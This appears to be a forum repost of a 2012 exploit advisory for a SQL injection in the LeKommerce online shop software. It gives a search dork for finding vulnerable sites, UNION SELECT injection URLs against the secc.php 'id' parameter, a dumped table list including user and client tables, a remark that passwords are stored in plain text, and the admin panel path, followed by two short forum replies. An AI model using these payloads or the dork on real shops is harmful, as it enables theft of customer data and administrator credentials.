# Author: Mazt0r
# Exploit Title: Online Shop SQLI
# Date: 04 DE MARZO DE 2012
# software: LeKommerce
# link: http://www.lekommerce.com/
# Version: "ESPECIFIC VERSION NO TESTED"
# Category: Commerce online
# Tested on: Linux
D0rk: inurl:secc.php?id=
=====================================
Exploit :
======================
http://localhost/path/secc.php?id={sqli}
======================
Example:
======================
http://localhost/path/secc.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7--
http://localhost/path/secc.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7+from+information_schema.tables--
======================
dbs:
======================
+--------------------------------+
| t_clientes |
| t_colores |
| t_colores_idiomas |
| t_configuracionglobal |
| t_emailing |
| t_emailingcliente |
| t_facturascompra |
| t_facturasventa |
| t_familias |
| t_familias_idiomas |
| t_formaspago |
| t_idiomas |
| t_incidencias |
| t_iva |
| t_marcas |
| t_menusuperior |
| t_noticias |
| t_productos |
| t_productos_idiomas |
| t_proveedores |
| t_provincias |
| t_rel_productos_tallas_colores |
| t_rel_tallas_colores |
| t_seccionesproductos |
| t_seccionesproductos_idiomas |
| t_series |
| t_subfamilias |
| t_subfamilias_idiomas |
| t_tallas |
| t_tallas_idiomas |
| t_tiposperfiles |
| t_traducciones |
| t_usuarios |
+--------------------------------+
PASSWD: TEXT PLAIN? <<<--- SECURE? EPIC!
----------------------------------
PANEL ADMIN: [/lib/validar_index.php]
----------------------------------
Blog: maztor.blogspot.com
Twitter: @Mazt0r
----------------------------------
LINKS EXPLOIT REPORTS
-----------------------------------------
OSDVB:http://osvdb.org/show/osvdb/79858?utm_medium=twitter&utm_source=twitterfeed (http://osvdb.org/show/osvdb/79858?utm_medium=twitter&utm_source=twitterfeed)
EXPLOIT DB: http://www.exploit-db.com/exploits/18569/ (http://www.exploit-db.com/exploits/18569/)
PACKET-STORM:http://packetstormsecurity.org/files/110532/lekommerce-sql.txt (http://packetstormsecurity.org/files/110532/lekommerce-sql.txt)
SECUNIA: http://secunia.com/advisories/48285/ (http://secunia.com/advisories/48285/)
Bienvenido y que bueno que estes activo en el foro nuevamente :)
besos :-*
Re-Bienvenido Mazt0r, buen aporte.
Un saludo.